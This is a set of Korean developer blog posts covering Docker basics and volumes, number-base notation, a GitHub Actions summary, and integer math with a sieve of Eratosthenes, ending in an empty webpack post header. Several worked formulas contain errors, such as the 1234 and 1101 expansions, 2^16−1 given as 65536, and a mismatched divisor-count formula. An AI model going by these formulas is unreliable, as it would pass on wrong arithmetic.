![출처: https://jungwoon.github.io/docker/2019/01/13/Docker-4/](https://cdn-images-1.medium.com/max/2400/1*5Ts6bzLOp07PO08BYO4VVQ.png)

```shell
root@a02263c69cd1:/# dig yceffort

; <<>> DiG 9.9.5-3ubuntu0.19-Ubuntu <<>> yceffort
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 17204
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;yceffort.                      IN      A

;; ANSWER SECTION:
yceffort.               600     IN      A       172.18.0.2
yceffort.               600     IN      A       172.18.0.4
yceffort.               600     IN      A       172.18.0.3

;; Query time: 4 msec
;; SERVER: 127.0.0.11#53(127.0.0.11)
;; WHEN: Tue Jul 28 09:15:36 UTC 2020
;; MSG SIZE  rcvd: 98

root@a02263c69cd1:/#
```

---

Source: https://yceffort.kr/2020/07/docker-study-1.md
Title: Docker 공부 (1) - 도커 기초부터 볼륨 공유까지
Description: `toc tight: true, from-heading: 2 to-heading: 3 ` ## Docker 는 무엇인가? 리눅스 컨테이너에 여러가지 기능을 추가하여 애플리케이션을 컨테이너로서 좀더 쉽게 사용할 수 있도록 만든 오픈소스. 이에 대해 정리 해 놓은 [좋은 글](https://subicura.com/2017/01/19/docker-g...
Date: 2020-07-28
Tags: docker

## Table of Contents

## Docker 는 무엇인가?

리눅스 컨테이너에 여러가지 기능을 추가하여 애플리케이션을 컨테이너로서 좀더 쉽게 사용할 수 있도록 만든 오픈소스. 이에 대해 정리 해 놓은 [좋은 글](https://subicura.com/2017/01/19/docker-guide-for-beginners-1.html)이 있으니 여기를 참고.

> Developing apps today requires so much more than writing code. Multiple languages, frameworks, architectures, and discontinuous interfaces between tools for each lifecycle stage creates enormous complexity. Docker simplifies and accelerates your workflow, while giving developers the freedom to innovate with their choice of tools, application stacks, and deployment environments for each project.

## 설치하는 법

[공식 문서](https://docs.docker.com/engine/install/)를 참고

## 실습 위치

이번에 나온 [Toast Compute Instance](https://console.toast.com/) 를 활용. AWS free tier는 진작에 소진 했고, 돈내고 쓸 수 있는 곳 중에서 가장 싼 인스턴스를 제공하는 서비스는 Toast 였다.

## 컨테이너 생성

```shell
$ docker run -i -t ubuntu:14.04

Unable to find image 'ubuntu:14.04' locally
14.04: Pulling from library/ubuntu
2e6e20c8e2e6: Pull complete
30bb187ac3fc: Pull complete
b7a5bcc4a58a: Pull complete
Digest: sha256:ffc76f71dd8be8c9e222d420dc96901a07b61616689a44c7b3ef6a10b7213de4
Status: Downloaded newer image for ubuntu:14.04

root@ec01158d61da:/# ls

bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
```

명령어 실행과 동시에 컨테이너 생성, 실행, 컨테이너 내부로 진입이 한꺼번에 이뤄짐. 기본 사용자 root에 호스트이름은 무작위 16진수 해쉬값을 가지게 된다.

> docker 명령어에서 shell을 사용하기 위해서는 -i (상호입출력) -t (tty)를 활성화 시켜야 한다.

종료는 `exit`를 하면 된다.

저장소를 단순히 내려 받고 싶을 땐, pull을 사용하면 된다.

```shell
ubuntu@study:~$ docker pull centos:7

7: Pulling from library/centos
524b0c1e57f8: Pull complete
Digest: sha256:e9ce0b76f29f942502facd849f3e468232492b259b9d9f076f71b392293f1582
Status: Downloaded newer image for centos:7
docker.io/library/centos:7
```

`images`로 현재 있는 이미지를 확인할 수 있다.

```shell
ubuntu@study:~$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
centos              7                   b5b4d78bc90c        2 months ago        203MB
ubuntu              14.04               6e4f1fe62ff1        7 months ago        197MB
```

`create`으로 컨테이너를 생성할 수도 있다.

```shell
ubuntu@study:~$ docker create -i -t --name mycentos centos:7
42d20904cc1afff9dc499363f158789fd1860f7ede99dcadfaa8bbc201bbc119
```

`start` 와 `attach`로 컨테이너 시작 및 진입을 할 수 있음.

```shell
ubuntu@study:~$ docker start mycentos
mycentos
ubuntu@study:~$ docker attach mycentos
[root@42d20904cc1a /]# ls
anaconda-post.log  bin  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
```

`ps`로 지금까지 생성한 컨테이너 목록 확인

```shell
ubuntu@study:~$ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
42d20904cc1a        centos:7            "/bin/bash"         2 minutes ago       Up 9 seconds                            mycentos
```

`ps` 명령어는 정지 되지 않은 컨테이너 목록만 출력. 정지 하지 않고, 단순히 빠져 나오기만 하고 싶다면, `control+p+q`로 나올 수 있다. 모든 컨테이너를 보고 싶다면 `-a`를 붙이면 된다.

```shell
ubuntu@study:~$ docker ps -a
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS                      PORTS               NAMES
42d20904cc1a        centos:7            "/bin/bash"         4 minutes ago       Up About a minute                               mycentos
ec01158d61da        ubuntu:14.04        "/bin/bash"         18 minutes ago      Exited (0) 16 minutes ago                       goofy_aryabhata
```

`rm` 명령어를 이용해서 삭제할 수 있다.

```shell
ubuntu@study:~$ docker rm mycentos
Error response from daemon: You cannot remove a running container 42d20904cc1afff9dc499363f158789fd1860f7ede99dcadfaa8bbc201bbc119. Stop the container before attempting removal or force remove
ubuntu@study:~$ docker stop mycentos
mycentos
ubuntu@study:~$ docker ps -a
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS                       PORTS               NAMES
42d20904cc1a        centos:7            "/bin/bash"         10 minutes ago      Exited (137) 2 minutes ago                       mycentos
ec01158d61da        ubuntu:14.04        "/bin/bash"         24 minutes ago      Exited (0) 22 minutes ago                        goofy_aryabhata
ubuntu@study:~$ docker rm mycentos
mycentos
ubuntu@study:~$ docker ps -a
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS                      PORTS               NAMES
ec01158d61da        ubuntu:14.04        "/bin/bash"         24 minutes ago      Exited (0) 22 minutes ago                       goofy_aryabhata
ubuntu@study:~$
```

## 컨테이너를 외부에 노출 시키기

컨테이너도 가상 머신과 마찬가지로, 가상 IP 주소를 할당 받을 수 있다. 기본적으로 `178.17.0.X`를 순차적으로 할당한다.

```shell
ubuntu@study:~$ docker run -i -t --name network_test ubuntu:14.04
root@b505ea44b935:/# ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:ac:11:00:02
          inet addr:172.17.0.2  Bcast:172.17.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:9 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:766 (766.0 B)  TX bytes:0 (0.0 B)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

root@b505ea44b935:/#
```

아무런 설정도 하지 않았다면, 외부에서 접근할 수 없으며 도커가 설치된 호스트에서만 접근할 수 있다.

```shell
ubuntu@study:~$ docker run -i -t --name network_test -p 80:80 ubuntu:14.04
```

연결해보면, 아파치 서버가 정상적으로 실행되서 연결된 것을 알 수 있다.

```text
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <!--
    Modified from the Debian original for Ubuntu
    Last updated: 2014-03-19
    See: https://launchpad.net/bugs/1288690
  -->
  <head>
  ...
```

실제 아파치 서버가 설치 된 것은 컨테이너 내부이므로, 호스트에는 아무런 영향이 없다.

다시 정리하자면, 호스트의 80번 포트를 컨테이너의 80번 포트와 연결했고, 아파치 웹서비스의 80번 포트가 컨테이너의 포트와 연결되어 있는 것이다.

```text
80번 호스트 포트 > 80번 컨테이너 포트 > 아파치 웹서비스 80번 포트
```

## 컨테이너 애플리케이션 구축

이번엔 데이터베이서 컨테이너와 웹서버 컨테이너를 각각 별도로 설치하여 연결해보자.

```shell
ubuntu@study:~$ docker run -d --name wordpressdb -e MYSQL_ROOT_PASSWORD=test -e MYSQL_DATABASE=wordpress mysql:5.7
ubuntu@study:~$ docker run -d -e WORDPRESS_DB_PASSWORD=test --name wordpress --link wordpressdb:mysql -p 80 wordpress
ubuntu@study:~$ docker port wordpress
80/tcp -> 0.0.0.0:32768
```

해당 포트로 접근해보면, 워드프레스가 실행되는 것을 볼 수 있다.

여기서 실행할 때 사용한 몇가지 파라미터에 대해 알아보자

- `-d`: detach 모드로 실행한다. docker 내에서 정의한 프로그램을 background에서 실행한다. `-i -t`와는 다르게 입출력이 없는 상태에서 시작하게 된다.
- `-e`: 환경변수를 설정한다.
- `--link`: 내부 IP를 알 필요 없이, 항상 컨테이너에 alias로 접근할 수 있도록 하는 것. 즉 두 번째로 싱행된 웹서버 컨테이너는, wordpressdb의 ip를 몰라도, `mysql`이라는 호스트 이름으로 요청을 전송하면, `wordpressdb` 컨테이너의 내부 IP로 접근할 수 있다. 그러나 해당 명령어는 deprecated 되어 있으며, 도커 브릿지를 사용해서 연결해야 한다.

```shell
ubuntu@study:~$ docker exec wordpress curl mysql:3306 --silent
J
5.7.31
???ziqa7)NDmmysql_native_password!??#08S01Got packets out of order
```

## 도커 볼륨

도커 이미지로 컨테이너를 생성하면, 이미지는 읽기 전용이 되며 컨테이너의 변경사항만 별도로 저장해서 각 컨테이의 정보를 보존하게 된다. 예를 들어, mysql 컨테이너는 `mysql:5.7`이라는 이미지로 생성되었지만, 워드프레스 블로그를 위한 데이터베이스 정보는 컨에티너가 가지고 있다. 이미지는 어떠한 경우에서도 변경되지 않으며, 컨테이너 계층에 변경된 정보가 저장된다. 그러나 이러한 구조 때문에 컨테이너를 삭제하게 되면 데이터베이스 정보까지 삭제된다는 단점이 있다.

컨테이너의 persistent 데이터를 활용할 수 있는 방법으로는 볼륨이 있다.

### 1. 호스트와 볼륨을 공유하는 방법

```shell
ubuntu@study:~$ docker run -d --name wordpressdb_hostvolume -e MYSQL_ROOT_PASSWORD=test -e MYSQL_DATABASE=wordpress -v /home/wordpress_db:/var/lib/mysql mysql:5.7
f5dcb2c9ae66b4e20486a63961f607ce7a341a71a8a975d45388aa8de70bd468

ubuntu@study:~$ docker run -d -e WORDPRESS_DB_PASSWORD=test --name wordpress_hostvolume --link wordpressdb_hostvolume:mysql -p 80 wordpress
0fa6a24a817e9267b867c7a7bfe3b9ff4c688d7e66d05c357aba5ba53c4cdd93

ubuntu@study:~$ ls /home/wordpress_db/
auto.cnf    ca.pem           client-key.pem  ibdata1      ib_logfile1  mysql               private_key.pem  server-cert.pem  sys
ca-key.pem  client-cert.pem  ib_buffer_pool  ib_logfile0  ibtmp1       performance_schema  public_key.pem   server-key.pem   wordpress
```

미리 지정해 놓은 `/home/wordpress_db` 디렉토리에 mysql 관련 데이터베이스 파일이 들어 있는 것을 볼 수 있다. 컨테이너의 `/var/lib/mysql`과 호스트의 `/home/wordpress_db`는 완전히 같은 디렉토리다.

### 2. 볼륨 컨테이너

`-v` 옵션으로 볼륨을 사용하는 컨테이너를, 다른 컨테이너와 공유하는 것이다. 컨테이너 생성시 `--volumes-from`을 사용하면 `-v`를 사용한 컨테이너의 볼륨 디렉토리를 공유할 수 있다.

```shell
ubuntu@study:~$ docker run -i -t --name volume_overide -v /home/wordpress_db:/home/testdir_2 alicek106/volume_test
Unable to find image 'alicek106/volume_test:latest' locally
latest: Pulling from alicek106/volume_test
56eb14001ceb: Pull complete
7ff49c327d83: Pull complete
6e532f87f96d: Pull complete
3ce63537e70c: Pull complete
587f7dba3172: Pull complete
Digest: sha256:e0287b5cfd550b270e4243344093994b7b1df07112b4661c1bf324d9ac9c04aa
Status: Downloaded newer image for alicek106/volume_test:latest
root@e3364f2e3f69:/# exit
exit
ubuntu@study:~$ docker run -i -t --name volumes_from_container --volumes-from volume_overide ubuntu:14.04
root@03ae3b0ae3c0:/# ls /home/testdir_2/
auto.cnf    ca.pem           client-key.pem  ib_logfile0  ibdata1  performance_schema  public_key.pem   server-key.pem  wordpress
ca-key.pem  client-cert.pem  ib_buffer_pool  ib_logfile1  mysql    private_key.pem     server-cert.pem  sys
root@03ae3b0ae3c0:/#
```

컨테이너 생서이 `--volumes-from`을 사용하면, `-v`를 적용한 컨테이너의 볼륨디렉토리를 사용할 수 있다. 첫번째 예제에서, `-v`를 사용해서 `volume_test`를 만들었고, 두번째 예제에서 `-volumes-from`을 사용해서 `volume_test`의 볼륨을 사용하고 있는 모습이다. 이러한 옵션을 활용하면, 단순히 볼륨을 공유해주는 역할만 하는 컨테이너를 만들 수도 있다.

### 3. 도커 볼륨

마지막 방법은 docker에서 제공해주는 방법을 사용하는 것이다.

```shell
ubuntu@study:~$ docker volume create --name myvolume
myvolume
ubuntu@study:~$ docker volume ls
DRIVER              VOLUME NAME
local               2832c28b81f0d6dd856b124167df067ae1372fb432fa216d97af07f1544b5fa6
local               b59792aa2847d7a2c8e4b35b665d1591a6cfbf081eefc3024f6cf47e23318ff8
local               ec05ad99c7d764924a96e2abba77d9ac8f44de47ac62dd5027686f64c35d35ab
local               myvolume
```

그리구 위의 볼륨을 활용해 컨테이너를 만들 수 있다.

```shell
ubuntu@study:~$ docker run -i -t --name myvolume_1 -v myvolume:/root/ ubuntu:14.04
```

```shell
ubuntu@study:~$ docker run -i -t --name myvolume_1 -v myvolume:/root/ ubuntu:14.04
root@f351516e97a1:/# echo hell, volume! >> /root/volume
root@f351516e97a1:/# exit
exit
ubuntu@study:~$ docker run -i -t --name myvolume_2 -v myvolume:/root/ ubuntu:14.04
root@e2131dc32f0a:/# cat /root/volume
hell, volume!
```

같은 볼륨을 공유하는 두개의 컨테이너에서, 하나는 파일을 생성하고, 다른 하나에서는 생성한 파일을 읽었는데 모두 정상적으로 작동하는 것을 보아 볼륨을 공유하고 있다는 것을 알 수 있다.

```shell
ubuntu@study:~$ docker inspect --type volume myvolume
[
    {
        "CreatedAt": "2020-07-28T12:58:47+09:00",
        "Driver": "local",
        "Labels": {},
        "Mountpoint": "/var/lib/docker/volumes/myvolume/_data",
        "Name": "myvolume",
        "Options": {},
        "Scope": "local"
    }
]
```

`docker inspect` 를 활용해 볼륨의 정보를 알 수 있다.

`docker volume create`를 사용하지 않아도, `-v`옵션으로 볼륨을 그냥 만들어 버릴 수 있다. `-v \root` 형태로 실행하면, 무작위 형태의 이름을 가진 볼륨을 생성해 자동으로 그것을 사용한다.

```shell
ubuntu@study:~$ docker volume prune
WARNING! This will remove all local volumes not used by at least one container.
Are you sure you want to continue? [y/N] y
Deleted Volumes:
ec05ad99c7d764924a96e2abba77d9ac8f44de47ac62dd5027686f64c35d35ab
b59792aa2847d7a2c8e4b35b665d1591a6cfbf081eefc3024f6cf47e23318ff8
2832c28b81f0d6dd856b124167df067ae1372fb432fa216d97af07f1544b5fa6

Total reclaimed space: 300.5MB
```

마찬가지로 `docker volume prune`을 사용해 볼륨 정보를 모두 날릴 수 있다.

### 결론

컨테이너가 아닌 외부에서 데이터를 저장하고, 컨테이너는 컨테이너 그 데이터 만으로 동작하도록 설계하는 것을 stateless 컨테이너라고 한다. 컨테이너 자체에는 어떠한 정보나 상태가 존재하지 않고, 다만 그 컨테이너에 있는 정보를 기반으로 실행할 뿐이다. 필요한 유동적인 정보는 외부 volume에서 받는다. 반대로 컨테이너 내부에 상태나 정보가 있으면 stateful 컨테이너라고 한다. 그러나 이와 같은 컨테이너는 컨테이너 자체에 정보를 보관하므로, 이러한 설계는 지양하는 것이 좋다.

---

Source: https://yceffort.kr/2020/07/math-for-programmer-chapter2-2-notation.md
Title: 프로그래머 기초 수학 2-2 - 기수법
Description: 기수법
Date: 2020-07-24
Tags: algorithm

## 기수법

우리가 흔히 사용하는 숫자 1234는 다음과 같이 표현할 수 있다.

$$
1234 = (1 \times 10^3) + (2 \times 10^2) + (3 \times 10^1) + (3 \times 10^0)
$$

여기 나오는 `10`처럼 그 거듭 제곱으로 자리의 값을 취하는 숫자를 `밑` 이라고 하고, 체계의 이름은 `진법`이라는 말을 붙인다. 즉 저 숫자는 10진법으로 나타낸 수다. 어떤 진법을 썼는지 나타내기 위해서는 밑에 작게 표현한다

$$
1234_{(10)} 1234_{10}
$$

이와 비슷하게, 0과 1로만 표현되어 있는 숫자는 2진법이라고 한다. 2진법은 논리적으로 참과 거짓에 대응 되며, 이는 전기 신호로 1, 0을 표현하는 컴퓨터의 기본체계를 이룬다.

$$
1101_{2} = (1 \times 2^3) + (1 \times 2^2) + (1 \times 2^1) + (1 \times 2^0)
= ( 8 + 4 + 0 + 1)
13_{10}
$$

이와 비슷하게, 16비트로 나타낼수 있는 수는 $2^{16} - 1 = 65536$이다.

2진법과 더불어 컴퓨터 과학분야에서 많이 쓰이는 것이 16진법이다. 16진법은 0~9와 더불어 `A, B, C, D, E, F` 를 사용하여 숫자를 표현한다. 각각 `10, 11, 12, 13, 14, 15`를 나타낸다.

$$
CAFE_{16} = (12 \times 16^3) + (10 \times 16^2) + (15 \times 16^1) + (14 \times 16^0) = 51966_{10}
$$

근데 왜 하필 16진수가 널리 쓰이게 된것일까? 그것은 2진수를 인간이 좀더 보기 쉬운 형태 ($2^4$)로 바꾼 것이 기 때문이다. 이는 정확하게 4비트를 나타낸다.

| 2진수  | 0000 | 0001 | 0010 | 0011 | 0100 | 0101 | 0110 | 0111 |
| ------ | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- |
| 16진수 | 0    | 1    | 2    | 3    | 4    | 5    | 6    | 7    |
| 2진수  | 1000 | 1001 | 1010 | 1011 | 1100 | 1101 | 1110 | 1111 |
| 16진수 | 8    | 9    | A    | B    | C    | D    | E    | F    |

0과 1을 나열한 것은 바로 알아보기 쉽지 않지만, 이를 네개씩 묶어서 표현할 수 있다.

$$
1011\space1110\space1110\space1111_{2}
BEEF_{16}
$$

거꾸로 10진수를 다른 진법으로 나타내기 위해서는, 해당 10진법 숫자를 변환을 원하는 밑으로 나누어서 표현하면 된다.

## 코드 구현

```javascript
var dec = 123
var hex = dec.toString(16) // 변환을 원하는 밑을 넣는다.
var bin = dec.toString(2)

var hex = '7b'
var dec = parseInt(hex, 16) // 해당숫자의 밑을 넣는다.
var bin = dec.toString(2)
```

---

Source: https://yceffort.kr/2020/07/github-actions-summary.md
Title: Github actions 요약
Description: # Github action ## Github action 은 무엇인가?  github actions은 사용자 정의 소프트웨어 개발 라이프 사이클 워크 플로우를 github 레파지토리에 직접 만들수 있도록 도와주는 도구다.  > GitHub Actions enables you to create custom software development life c...
Date: 2020-07-23
Tags: devops, ci-cd

# Github action

## Github action 은 무엇인가?

github actions은 사용자 정의 소프트웨어 개발 라이프 사이클 워크 플로우를 github 레파지토리에 직접 만들수 있도록 도와주는 도구다.

> GitHub Actions enables you to create custom software development life cycle (SDLC) workflows directly in your GitHub repository.

github actions을 활용하여 코드를 저장하고 협업하는 공간에서 동시에 소프트웨어 개발 워크 플로우를 자동화 할 수 있다.

## 핵심 개념

- action: 작업을 생성하기 위한 단계로, 개별 step을 결합한 단위다. 액션은 워크 플로우 블록을 만드는 가장 작은 포터블 단위다. 직접 만들거나, 깃헙 커뮤니티에 공개되어 있는 것을 쓰거나, 퍼플릭 액션을 커스터마이징해서 쓸 수 있다. 워크플로우에서 액션을 사용하기 위해서는, step이 포함되어 있어야 한다.
- artifact: 코드를 빌드하거나 테스트할 때 만들어지는 파일들을 의미한다. 예를 들어, 아티팩트는 바이너리나 패키지 파일, 테스트 결과, 로그 파일, 스크린 샷등을 포함할 수 있다. 아티팩트는 생성된 워크플로우와 연결되며, 다른작업에서 사용하거나 배포에 이용할 수 있다.
- Continuous integration (CI): 소프트웨어 개발 관습상 공유하고 있는 레파지토리에 종종 작은 단위의 코드로 기여한다. 깃헙 액션을 사용하면, 사용자정의 CI 워크 플로우를 만들어서 빌드와 코드 테스트를 자동화 할 수 있다. 저장소에서, 워크 플로우에 있는 각 액션을 활용하여 코드 변화, 로그 등을 확인할 수 있다. CI는 코드 변화에 따른 버그 등을 빠르게 감지할 수 있다.
- Continuous deployment (CD): 새로 만든 코드가 CI 테스트를 통화가면, 코드는 자동으로 프로덕션에 배포 될 수 있다. 깃헙 액션을 활용하면, 사용자정의 CD 워크플로우를 만들어 클라우드, self-hosted 서비스 또는 플랫폼 등등에 자동으로 배포할 수 있다. CD는 배포 과정과 테스트를 자동화하여 개발자의 시간을 절약해주며, 안정적인 코드 변화를 고객에게 제공할 수 있다.
- Event: 워크플로우 실행이 트리거하는 특정 활동을 의미한다. 예를 들어, 액티비티는 누군가 깃헙 저장소에 코드를 푸시하거나 이슈를 만들거나, PR을 만들 때 발생할 수 있다. 또한 레파지토리에 웹훅을 연결하여 외부 이벤트와 연결 할 수도 있다.
- Github-hosted runner: 깃헙은 리눅스, 윈도우, 맥OS 러너를 호스팅한다. 잡은 완전히 새로운 가상 환경에서 실행되는데, 이 가상환경에는 일반적으로 사용되는 소프트웨어 들이 설치되어 있다. 깃헙은 github-hosted runner의 유지보수 및 업그레이드를 담당하며, 사용자가 임의로 커스터마이징 할 수는 없다.
- Job: 같은 러너에서 실행되는 일련의 단계. 워크플로 파일에서 작업을 실행하는 방법에 대한 규칙을 정의할 수 있다. 작업 (Job)은 이전 작업의 상태에 따라 동시에 병렬로 실행하거나, 순차적으로 실행할 수 있다. 예를 들어 워크플로는 빌드 작업의 상태에 따라 테스트 작업이 달라지는 빌드 및 테스트 작업 두개를 순차적으로 실행할 수 있다. 예를 들어 빌드 작업이 실패하면, 테스트 작업은 수행되지 않을 것이다. github 호스트 러너의 경우 워크플로우의 각 작업은 가상 환경의 새로운 인스턴스에서 실행된다.
- Runner: Github actions runner 애플리케이션이 설치된 모든 시스템. Github이 만든 runner를 사용하거나, 직접 만든 runner를 사용해도 된다. runner는 실행 가능한 작업을 기다린다. runner가 작업을 선택하면, 작업의 액션을 실행하고, 진행상황을 보고하며, 로그를 남기고, 마지막 결과를 깃헙에 리턴한다. 러너는 한번에 하나의 작업만 실행할 수 있다.
- Self-hosted runner: 사용자가 관리하고 유지하는 self-hosted runner 애플리케이션이 설치되어 있는 머신. 이는 깃헙이 제공하는 러너에 비해 더 많은 관리 포인트를 요구한다. 이를 활용하면 작업이 실행될 하드웨어를 커스터마이징 할 수 있다.
- Step: 명령어와 액션을 실행하는 개별 태스크. 작업은 한개 이상의 step으로 이루어져 있다. 한 작업내에서 각각의 step은 같은 러너안에서 실행되며, 파일시스템을 활용하여 작업으에 필요한 정보를 공유할 수 있다.
- Virtual Environment: Github hosted runner의 가상환경에는 가상 머신 설정, 운영채제, 소프트웨어 등이 포함되어 있다.
- Workflow: 사용자가 레파지토리에서 직접 빌드, 테스트, 패키지, 릴리즈, 배포 등을 할 수 있는 자동화 프로세스를 의미한다. 워크플로우는 한개이상의 잡으로 이루어져 있고, 스케쥴링되거나 특정 이벤트에 의해 실행 될 수 있다.
- Workflow file: 하나이상의 작업에 대한 워크플로우 설정이 들어 있는 YAML 파일. 이 파일은 루트 디렉토리의 `.github/workflows` 폴더에 있어야 한다.
- Workflow run: 미리 설정한 이벤트에 의해 실행된 워크플로우 인스턴스. 여기에서 작업, 액션, 로그, 각 워크플로우의 실행항태를 볼 수 있다.

## 워크플로우 파일 살펴보기

위에서 언급했던 것처럼, 이 파일은 `./github/workflows`에 정의 되어 있어야 한다.

```yaml
name: Greet Everyone
# 이 워크플로우는 코드가 푸쉬되면 발동한다.
on: [push]

jobs:
  build:
    # 작업 명칭
    name: Greeting
    # 이 작업은 우분투에서 실행된다.
    runs-on: ubuntu-latest
    steps:
      # 이 작업은 hello-world-javascript-action: https://github.com/actions/hello-world-javascript-action 의 예제다.
      - name: Hello world
        uses: actions/hello-world-javascript-action@v1
        with:
          who-to-greet: 'Mona the Octocat'
        id: hello
      # 여기에서는 이전 스텝에서 부터 얼마나 걸렸는지를 나타낸다.
      - name: Echo the greeting's time
        run: echo 'The time was ${{ steps.hello.outputs.time }}.'
```

## check-out action 활용하기

워크플로우에서 사용할 수 있는 스탠다드 액션 중에, checkout action은 아래와 같은 액션이 있다면 반드시 이전에 실행되어야 한다.

- 저장소 코드를 빌드하거나, 세트스하거나, CI에 활용하기 위하여 저장소 코드의 사본이 필요한 경우
- 워크플로우에 동일하나 저장소에 정의된 작업이 하나 이상 있을 경우

checkout-cation을 사용하기 위해서는, 다음 스텝을 포함하면 된다.

```text
- uses: actions/checkout@v2
```

## 워크플로우의 작업 유형을 선택하기

프로젝트의 요구사항에 맞추어 사용할 수 있는 두가지 유형의 액션이 존재한다.

- Docker container 액션
- 자바스크립트 액션

액션을 선택하는데 앞서서 이미 공개 저장소나 도커 허브에 나와 있는 다양한 액션을 살펴보기를 권장한다.

## Nodejs CI 예제

```yaml
name: Node.js CI

on: [push]

jobs:
  build:
    runs-on: ubuntu-latest

    # 어떤 노드버전을 사용할지 나타낸다. x는 해당 버전의 가장 최신버전을 의미한다. (wildcard)
    strategy:
      matrix:
        node-version: [8.x, 10.x, 12.x]

    steps:
      - uses: actions/checkout@v2
      - name: Use Node.js ${{ matrix.node-version }}
        uses: actions/setup-node@v1
        with:
          # strategy.matrix를 지정하지 않고, 단일 노드버전을 명시하여 하나만 설치할 수도 있다.
          node-version: ${{ matrix.node-version }}
      - run: npm install
      - run: npm run build --if-present
      - run: npm test
        env:
          CI: true
```

### 디펜던시 캐싱하기

유니크 키를 활용하여, 현재 디펜던시를 캐싱하고 `cache` 액션을 추가하여 이 캐싱한 디펜던시를 재 활용할 수 있다.

```yaml
steps:
  - uses: actions/checkout@v2
  - name: Use Node.js
    uses: actions/setup-node@v1
    with:
      node-version: '12.x'
  - name: Cache Node.js modules
    uses: actions/cache@v2
    with:
      # npm cache files are stored in `~/.npm` on Linux/macOS
      path: ~/.npm
      # 캐시키
      key: ${{ runner.OS }}-node-${{ hashFiles('**/package-lock.json') }}
      # 캐시키로 찾지 못했을 경우 다시 시도해볼 키
      restore-keys: |
        ${{ runner.OS }}-node-
        ${{ runner.OS }}-
  - name: Install dependencies
    run: npm ci
```

---

Source: https://yceffort.kr/2020/07/math-for-programmer-chapter2-1-integer.md
Title: 프로그래머 기초 수학 2-1 - 정수
Description: 정수
Date: 2020-07-23
Tags: algorithm, mathematics

## Table of Contents

## 개념

- 정수: 1, 2, 3과 같은 자연수, 없음을 나타내는 0, 그리고 자연수와 반대 부호인 수 (-1, -2, -3...)
- 배수: 어떤 정수에 다른 정수를 곱하여 만들어진 정수 (15는 3과 5의 배수)
- 약수: 어떤 정수를 나머지 없이 나눌 수 있는 수
- 소수: 자기 자신과 1외에는 다른 약수가 없는 수
- 합성수: 1과 자기 자신외의 약수가 있어서 그 약수의 곱으로 나타낼 수 있는 수
  - 1보다 큰 모든 정수는 소수이거나, 합성수 이다.
- 소인수분해: 소수인 약수들의 곱셉 형태로 합성수를 나타내는 것

$$
72 = 8 \times 9  = (2 \times 2 \times 2) \times  (3 \times 3) = 2^3 \times 3^2
$$

소인수 분해는 고성능 컴퓨터로도 오래걸리며, 현대 암호학은 소수의 성질에 의존하고 있다. 소수를 골라 낼 때는 에라토스테네스의 체를 사용한다.

- 에라토스테네스의 체

2부터 소수를 구하고자 하는 구간의 모든 수를 나열한다. 그림에서 회색 사각형으로 두른 수들이 여기에 해당한다.
2는 소수이므로 오른쪽에 2를 쓴다. (빨간색)
자기 자신을 제외한 2의 배수를 모두 지운다.
남아있는 수 가운데 3은 소수이므로 오른쪽에 3을 쓴다. (초록색)
자기 자신을 제외한 3의 배수를 모두 지운다.
남아있는 수 가운데 5는 소수이므로 오른쪽에 5를 쓴다. (파란색)
자기 자신을 제외한 5의 배수를 모두 지운다.
남아있는 수 가운데 7은 소수이므로 오른쪽에 7을 쓴다. (노란색)
자기 자신을 제외한 7의 배수를 모두 지운다.
위의 과정을 반복하면 구하는 구간의 모든 소수가 남는다.

```javascript
function solution(n) {
  const arr = new Array(n).fill(true)

  for (let i = 2; i * i <= n; i += 1) {
    if (arr[i]) {
      for (let j = i * i; j <= n; j += i) {
        arr[j] = false
      }
    }
  }

  arr.splice(0, 2, false, false)

  return arr
    .map((value, index) => (value ? index : false))
    .filter((value) => Boolean(value))
}
```

어떤수 $N$ 이 $a^m \times a^b$ 로 소인수 분해 할 수 있다면, $N$ 의 약수는 총 $(m+1) \times (n+1)$개 다.

- 공약수: 두 수의 약수 중에 공통되는 것
- 최대 공약수: 공약 수 중 가장 큰 수
- 서로소: 1외에 공약수가 없는수
- 공배수: 두 수의 배수 중에서 공통 된 것
- 최소공배수: 공배수 중 가장 작은 것

두 수 A와 B, 그리고 이들의 최대공약수를 G라고 하고, 최대공약수에 속하지 않는 약수들의 곱을 a, b라고 하자. a, b는 최대 공약수의 정의에 따라 서로소 일 것이다..

$$
A = G \times a
B = G \times b
$$

A, B의 배수들을 구하면 다음과 같은 모양이 될 것이다.

$$
A : (G \times a) \times (1, 2, 3 ... )
B : (G \times b) \times (1, 2, 3 ... )
$$

여기서 최소공배수를 구해보자.

$$
A: (G \times a) \times b
B: (G \times b) \times a
$$

따라서 최소 공배수 L은

$$
L = G \times a \times b
$$

로 표현될 수 있다.

---

Source: https://yceffort.kr/2020/07/make-use-of-long-term-caching.md
Title: Webpack을 활용한 성능향상 - 캐싱 활용하기
Description: [Make use of long-term caching](https://developers.google.com/web/fundamentals/performance/webpack/use-long-term-caching)을 번역한 글입니다.  앱 로딩 속도를 향상시킬 수 있는 방법 중 ...
Date: 2020-07-21
Tags: webpack, web-performance

